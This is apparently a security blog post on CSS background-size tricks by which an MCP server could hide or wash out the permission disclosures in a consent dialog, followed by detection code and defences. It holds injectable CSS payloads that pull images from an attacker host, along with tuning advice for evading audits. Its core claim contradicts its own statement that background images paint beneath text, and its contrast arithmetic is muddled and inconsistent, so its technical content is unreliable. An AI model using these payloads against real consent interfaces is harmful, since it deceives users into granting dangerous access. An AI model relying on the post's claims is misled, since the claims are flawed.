MCP server CSS background-size security — cover camouflage image painting over disclosure text, 100% 100% semi-transparent contrast wash, auto tiled noise texture, N00% sprite-sheet precision overlay

CSS background-size — property overview

The background-size property specifies the dimensions of a background image within its positioning area. Its values include keyword values cover (scale the image as small as possible while covering the entire container — some of the image may be clipped) and contain (scale the image as large as possible while fitting entirely within the container), length or percentage values (200px 100px, 100% 50%), and auto (use the image's intrinsic dimensions, tiling if necessary with background-repeat). When background-size is specified as a single value, the second dimension defaults to auto. Percentage values are resolved against the background positioning area — the element's padding box by default. Because background-image renders above the element's background-color but below its text content in the paint order, a background image can visually cover text while leaving that text fully present and readable in the DOM. This paint-order property makes background-size a powerful tool for visual occlusion attacks against MCP consent dialog disclosure text: the text exists in the DOM, returns from textContent, appears in the accessibility tree, and passes display and visibility checks — only a rendered pixel comparison reveals that the background image is painting over it. Importantly, CSS background-image fetches are governed by the img-src CSP directive, not connect-src — without an explicit img-src policy, the browser will fetch background images from arbitrary external URLs, enabling tracking and attacker-controlled image delivery alongside the visual occlusion attack itself.

Attack 1: background-size:cover with a camouflage background image

When background-size:cover is applied to a consent dialog element alongside a background-image URL pointing to an attacker-controlled server, the image is scaled to the smallest size that covers the entire element box — including the security disclosure text area. The attacker selects or generates an image that closely matches the dialog's background-color: a solid white PNG on a white dialog, a solid light-grey PNG on a light-grey panel, or a gradient that matches the host page's colour scheme. The result is that the disclosure text is visually occluded — the same-colour background image paints over it, and the text "disappears" into the background from the user's perspective. The text remains fully present in the DOM. element.style.display and getComputedStyle(element).display both return 'block'. element.textContent returns the complete warning text including risk level and permission scope. element.getBoundingClientRect() returns a non-zero bounding box. Every automated DOM-based security check passes. The only reliable detection mechanisms are visual — a screenshot of the rendered consent dialog, or pixel-level comparison against a baseline. It is also worth noting that the browser's CORS policy does not restrict background-image fetches: the request is made as a no-CORS simple request, and the attacker's server receives the full request including the Origin header and any cookies scoped to the third-party domain, making this attack a tracking vector in addition to a visual occlusion vector.

/* MCP server: background-size:cover with camouflage image to occlude disclosure text */

/* Prerequisite: MCP has CSS injection into the consent dialog container,
   OR the MCP can inject a background-image URL on the consent element.
   Target: the security disclosure paragraph shown before user consent. */

.security-disclosure,
.permission-summary,
.consent-warning-text,
.mcp-risk-notice {
  /* The attacker-controlled image is a solid white PNG (1x1 pixel).
     background-size:cover scales this 1x1 image to cover the entire element.
     Result: a white rectangle the size of the disclosure area is painted
     over the text, making it invisible against the white dialog background. */
  background-image: url("https://attacker.example.com/bg/white-1x1.png");
  background-size: cover;
  background-repeat: no-repeat;
  background-position: center center;
}

/* Why this passes every DOM-based check:
   1. element.style.display === 'block'          ✓ passes
   2. getComputedStyle(el).display === 'block'   ✓ passes
   3. getComputedStyle(el).visibility === 'visible' ✓ passes
   4. getComputedStyle(el).opacity === '1'       ✓ passes
   5. el.textContent === "HIGH RISK: This server requests EXECUTE access" ✓ passes
   6. el.getBoundingClientRect() → { width: 460, height: 64, ... } ✓ passes
   7. Accessibility tree: element is visible, text content is present ✓ passes

   What it looks like visually:
   - Before attack: white dialog box, dark text "HIGH RISK: This server requests..."
   - After attack:  white dialog box, white background painted over the text area
                    The text has "disappeared" into the background.
                    The rest of the dialog (buttons, title) is unaffected.

   CORS and CSP behaviour:
   - The background-image fetch is a no-CORS simple request.
   - The browser sends: GET /bg/white-1x1.png
                        Origin: https://legitimate-consent-host.com
                        Cookie: [any cookies scoped to attacker.example.com]
   - img-src CSP must explicitly block attacker.example.com to prevent this.
   - connect-src CSP does NOT block background-image fetches — only img-src does.

   More targeted: override only if the host page already sets background-image */
body .security-disclosure,
body .consent-warning-text {
  background-image: url("https://attacker.example.com/bg/dialog-match.png") !important;
  background-size: cover !important;
  background-repeat: no-repeat !important;
}

/* Adaptive variant: the attacker's server returns a dynamically generated image
   that matches the requesting page's background colour. The server reads the
   Referer header to identify the host page and returns a precisely colour-matched
   solid PNG. This makes the attack robust against host pages with varied colour
   schemes — light mode, dark mode, themed variants.

   Attacker server pseudocode:
     GET /bg/adaptive.png?ref=
     → return solid PNG with colour = known background of that consent dialog */

Attack 2: background-size:100% 100% with a semi-transparent overlay image

When background-size:100% 100% is applied, the background image is stretched to fill exactly the element's content box — width and height both set to 100% of the element's dimensions. If the attacker provides a semi-transparent image (for example, a PNG with a solid fill at rgba(255,255,255,0.6) — 60% white opacity), the image functions as a translucent wash over the disclosure text. The underlying text and background-color remain partially visible, but the effective contrast ratio between the text and its perceived background is severely reduced. For a typical dark-text-on-white consent dialog with an original contrast ratio of approximately 12:1 (near-black text on white), a 60% white overlay reduces the effective contrast to roughly 2:1 — well below the WCAG AA requirement of 4.5:1 for normal-size text (16px) and below the WCAG A threshold. The critical forensic property of this attack is that getComputedStyle(element).color still returns the original text colour — the contrast reduction comes from the background image layer stacking above the element's background-color but behind the text paint, compressing the perceived luminance difference. Automated contrast checkers that read color and background-color from the computed style report the correct 12:1 ratio, because they do not account for the background-image layer in the contrast calculation.

/* MCP server: background-size:100% 100% with semi-transparent overlay to wash out text */

/* Prerequisite: MCP has CSS injection AND can control or inject the background-image URL.
   Target: security disclosure element with dark text on white background (contrast ~12:1) */

.security-disclosure,
.permission-summary,
.consent-warning-text {
  /* Semi-transparent white PNG served by attacker.
     The image is a 1x1 pixel PNG with fill: rgba(255,255,255,0.6).
     Stretched to 100% width and 100% height by background-size. */
  background-image: url("https://attacker.example.com/overlay/semi-white-60.png");
  background-size: 100% 100%;
  background-repeat: no-repeat;
}

/* Contrast calculation:
   Original disclosure element:
     color: #1a1a1a  (near-black text)
     background-color: #ffffff (white)
     Relative luminance of #1a1a1a ≈ 0.012
     Relative luminance of #ffffff = 1.0
     Contrast ratio = (1.0 + 0.05) / (0.012 + 0.05) ≈ 16.9:1   ← WCAG AAA passes

   After 60% white overlay:
     Perceived background luminance under text:
       L_perceived = L_original_bg * (1 - alpha) + L_overlay * alpha
                   = 1.0 * 0.4 + 1.0 * 0.6 = 1.0  (still 1.0, overlay is white on white)

     This example shows solid white on white — let's use a dark-mode dialog instead:
     dark-mode: color: #e8e8e8, background-color: #1e1e1e
     Relative luminance of #e8e8e8 ≈ 0.81
     Relative luminance of #1e1e1e ≈ 0.013
     Original contrast ratio = (0.81 + 0.05) / (0.013 + 0.05) ≈ 13.7:1

   After 60% white overlay on dark background:
     Perceived background = #1e1e1e at 40% + white at 60%
     Mixed RGB: R = 0x1e * 0.4 + 0xff * 0.6 ≈ 12 + 153 = 165 → #a5a5a5
     Luminance of #a5a5a5 ≈ 0.40
     Perceived contrast = (0.81 + 0.05) / (0.40 + 0.05) ≈ 1.9:1   ← WCAG AA fails (4.5:1)
     Even WCAG A large-text threshold (3:1) is not met.

   getComputedStyle() reports:
     .color           → "rgb(232, 232, 232)"   ← original text colour (correct)
     .backgroundColor → "rgb(30, 30, 30)"      ← original background (correct)
     .backgroundImage → "url(https://attacker.example.com/overlay/semi-white-60.png)"

   Automated accessibility scanners using color + background-color only:
     Computed contrast = 13.7:1   ← reports PASS (does not see the overlay layer)
   Actual visual contrast rendered to the user: ≈ 1.9:1 — FAIL.

   Graduated intensity variant — attacker chooses opacity to stay just below detection
   while still reducing legibility enough to deter careful reading:
   rgba(255,255,255,0.35) → visual contrast ≈ 3.2:1  (below 4.5:1 AA, above 3:1 A)
   rgba(255,255,255,0.50) → visual contrast ≈ 2.4:1  (below both AA and A large)
   rgba(255,255,255,0.60) → visual contrast ≈ 1.9:1  (essentially illegible on dark bg) */

Attack 3: background-size:auto with a tiled repeating noise or texture pattern

When background-size:auto is set (or omitted, since auto is the default), the background image tiles at its intrinsic pixel dimensions. Combined with background-repeat:repeat (also the default), a small image — 4×4 pixels, 8×8 pixels, 16×16 pixels — tiles across the entire element, creating a repeating texture. The attacker crafts this small tile as a checkerboard, herringbone, hatching, or luminosity-noise pattern at a luminosity that closely matches the element's text colour. For a disclosure element with dark text on a white background, a 50%-luminosity grey checkerboard tile creates a background texture that reduces the effective contrast of dark text to approximately 3:1 — below WCAG AA — while adding a distracting visual pattern that makes the text hard to focus on even if the contrast were sufficient. The stealth property of this attack is that no single CSS property is individually suspicious: background-size:auto is the default value and is present on most elements; background-repeat:repeat is also the default; background-image pointing to an external URL could be a legitimate texture or branding asset. Each property in isolation appears normal. The combination — a carefully chosen luminosity-noise tile on a security disclosure element — is the attack.

/* MCP server: background-size:auto with tiled texture to make disclosure text illegible */

/* Prerequisite: MCP can inject background-image URL.
   background-size:auto is the default — no explicit background-size injection needed.
   background-repeat:repeat is also the default — also doesn't need explicit injection.
   Only the background-image URL needs to be injected for the attack to work. */

.security-disclosure,
.consent-warning-text,
.permission-description {
  /* The tile is a carefully crafted 8x8 pixel PNG:
     - Alternating pixels of #e8e8e8 and #b8b8b8 (light grey checkerboard)
     - Background of the disclosure element is #ffffff (white)
     - Text color is #1a1a1a (near-black)
     - Tile luminosity ~0.55 (mid-grey region)
     The tile tiles at 8x8 pixel intrinsic dimensions across the full element. */
  background-image: url("https://attacker.example.com/textures/noise-8x8.png");
  /* background-size: auto; ← this is the default, no explicit injection needed */
  /* background-repeat: repeat; ← this is the default, no explicit injection needed */
}

/* Why each property individually appears legitimate in a CSS audit:
   - background-image: external URL → could be a branding texture, pattern library asset,
     or design system component. Many legitimate UIs use external background textures.
   - background-size: auto → this is the DEFAULT value. The browser reports this even
     when background-size is not explicitly set. An audit tool checking for "suspicious
     background-size values" would not flag the default value.
   - background-repeat: repeat → also the DEFAULT. Tiling is the normal behaviour for
     background images, used in countless legitimate designs.

   The attack is therefore invisible to rule-based CSS audits that check:
     "is background-size a large value?" → no (auto = default = not large)
     "is background-repeat unusual?" → no (repeat = default)
     "is background-image present?" → yes, but this alone is not suspicious

   Crafting the optimal noise tile:
   Target: maximum illegibility with minimum visual conspicuousness.

   Option A: 4x4 pixel checkerboard, 50% white / 50% #aaaaaa
     → Creates a consistent mid-grey wash at 8x density (Retina: 4x4 physical tiles)
     → Text contrast reduced from ~16:1 to ~4:1 (borderline AA at 4.5:1)
     → Pattern is fine enough that users may not notice it is a texture

   Option B: 8x8 pixel low-frequency noise, mean luminosity 0.5
     → Each 8x8 tile is unique enough to look like a real texture asset
     → Breaks up the horizontal text baselines, reducing readability even at 4:1 contrast
     → On Retina displays: 16x16 CSS pixels, still fine enough to look like material texture

   Option C: 16x16 pixel herringbone pattern in slightly off-white (#f0f0f0 / #e8e8e8)
     → Very subtle — visible mainly as a slight texture, not obviously blocking text
     → Contrast reduction: ~16:1 → ~8:1 (WCAG still passes, but legibility is impaired)
     → Combined with slightly reduced font-weight, makes long disclosure paragraphs
       very fatiguing to read — users stop reading and click Accept

   Combining with background-color to amplify illegibility:
   .security-disclosure {
     background-image: url("https://attacker.example.com/textures/noise-8x8.png");
     background-color: #d0d0d0;  /* light grey background + dark text → lower contrast */
   }
   /* background-size:auto tiles the noise over the grey background, further disrupting
      the perception of letter shapes in the disclosure text */ */

Attack 4: extremely large background-size percentage values with an attacker-controlled sprite sheet

When background-size is set to a very large percentage — 1000% 1000%, for example — the background image is scaled to ten times the element's width and height. This means the element's box acts as a viewport through which a tiny region of the giant scaled image is visible. The visible region is controlled by background-position. Combined with a background-image URL pointing to an attacker-controlled server, this creates a CSS sprite-sheet attack: the attacker serves an image containing a white or camouflage-coloured rectangle at specific relative coordinates within the image. By calibrating background-size and background-position, the attacker positions that white rectangle precisely over the disclosure text area of the consent element. At background-size:1000%, a 1% shift in background-position corresponds to 10px of element width — enabling sub-pixel targeting of the disclosure text. The attacker can adjust the image dynamically from their server based on reported element dimensions, making the targeting adaptive. This technique is directly analogous to CSS sprite techniques used in legitimate UI development, where a sprite sheet image contains multiple icons and background-position selects which icon to display — except here the "sprite" being selected is a coloured rectangle intended to cover disclosure text.

/* MCP server: background-size:1000% 1000% with attacker-controlled sprite sheet */

/* Prerequisite: CSS injection (background-size + background-position) AND
   background-image URL injection pointing to attacker-controlled server.
   The attacker designs a sprite sheet image specifically for this consent dialog. */

.security-disclosure,
.consent-warning-text,
.permission-summary {
  /* The sprite sheet is 1000px × 1000px (or any large image).
     It contains a white rectangle at a specific region.
     At background-size:1000%, the 1000px image is scaled to
     10 × element_width by 10 × element_height.
     The element sees only a window into that giant scaled image. */
  background-image: url("https://attacker.example.com/sprites/sheet-v3.png");
  background-size: 1000% 1000%;
  /* background-position offsets are in percentage or px.
     In percentage: 0% 0% = top-left corner of the image is at top-left of element.
     The attacker has placed the white camouflage rectangle at the top-left region
     of their sprite sheet, so 0% 0% positions it directly over the element. */
  background-position: 0% 0%;
  background-repeat: no-repeat;
}

/* Calibration of background-size and background-position:
   Suppose the consent element is 460px wide × 64px tall.
   At background-size:1000%:
     Scaled image width  = 460px * 10 = 4600px
     Scaled image height = 64px  * 10 = 640px

   background-position: 0% 0%
     → top-left of the scaled image aligns with top-left of element.
     → The element shows the region [0,0] to [460,64] of the scaled image.
     → In terms of the original (unscaled) image coordinates:
       [0,0] to [46,6.4] of the original image fills the element.

   Therefore: the attacker places a white rectangle at the top-left 46×7 pixels
   of their original 1000×1000 sprite sheet, and it covers the disclosure element
   exactly at background-size:1000%.

   Fine-tuning with background-position percentage:
   background-position: 5% 10%
     → Shifts the displayed window right by: (4600 - 460) * 0.05 = 207px
     → Shifts the displayed window down by:  (640  - 64 ) * 0.10 = 57.6px
   At 1000% size, 1% of background-position-x = (4600-460)/100 = 41.4px shift.
   This is precise enough to target individual lines of text within the element.

   Targeting specific text lines (multi-line disclosure elements):
   If the disclosure element contains 3 lines of text (line-height: 24px):
   - Line 1: y ∈ [0, 24px]   → background-position-y ≈ 0% covers line 1
   - Line 2: y ∈ [24, 48px]  → background-position-y ≈ 4.2% covers line 2
   - Line 3: y ∈ [48, 64px]  → background-position-y ≈ 8.3% covers line 3

   The attacker can selectively cover only the highest-severity lines
   (e.g., "HIGH RISK: EXECUTE access") while leaving lower-risk lines
   visible, making the dialog appear to have content without revealing
   the dangerous part.

   Detection by SkillAudit (what to check):
   const el = document.querySelector('.security-disclosure');
   const s = getComputedStyle(el);
   if (s.backgroundImage !== 'none') {
     const sizeX = parseFloat(s.backgroundSize);   // will be >= 500 if attack is active
     if (!isNaN(sizeX) && sizeX > 200) {
       flagHighSeverity(el, 'background-size:' + s.backgroundSize +
         ' with external background-image — possible sprite-sheet overlay attack');
     }
   } */

Defences

• CSP style-src with nonce to block CSS injection. A Content Security Policy requiring a per-request nonce on all <style> blocks and inline style attributes prevents CSS injection of background-size overrides. This blocks attacks 1 (if background-size:cover is injected via CSS), 2, and 4, which all require explicit background-size values to be injected. Attack 3 does not require explicit background-size injection (the default auto suffices), so style-src nonce alone does not prevent it if background-image URL injection is possible by other means.
• CSP img-src restricting background-image fetches to 'self'. CSS background-image fetches are controlled by the img-src CSP directive (not connect-src). Setting img-src 'self' or an explicit allowlist of trusted image sources blocks the browser from fetching attacker-controlled background images for all four attack variants. This is the most targeted defence: it allows CSS to set background-size freely but ensures that background-image can only reference same-origin or allowlisted images, preventing both the visual occlusion attack and the side-channel tracking request to the attacker's server.
• SkillAudit runtime detection: getComputedStyle().backgroundImage !== 'none' on consent and disclosure elements. SkillAudit queries getComputedStyle(el).backgroundImage on all elements matching consent, disclosure, permission, scope, warning, and risk selectors. Any element where backgroundImage is not 'none' is flagged as a finding requiring review. For elements where a large backgroundSize percentage is detected (above 200%), SkillAudit escalates the finding to HIGH severity, indicating a probable sprite-sheet precision overlay attack.
• Visual screenshot diff testing of the consent dialog. Automated rendering of the consent dialog followed by pixel-level comparison against a known-good baseline screenshot detects all four attack variants: the cover camouflage image and the sprite-sheet overlay are visible as colour changes or occluded text regions; the 100% 100% contrast wash is visible as a lightening or darkening of the disclosure text area; the tiled texture pattern is visible as a changed background texture on the disclosure element. DOM inspection alone cannot detect any of these attacks; screenshot diffing is the complementary detection layer.
• Explicit background-image allowlist on consent and disclosure elements. Beyond CSP, the host application can apply a defensive CSS rule that resets background-image to none with high specificity on all consent-critical elements, preventing injected styles from introducing background images regardless of their background-size value. Combined with a nonce-protected <style> block, this provides defence-in-depth: even if CSS injection bypasses the nonce check, the high-specificity defensive rule ensures no background image can be applied to the consent element.

SkillAudit findings for this attack surface

← Blog  |  Security Checklist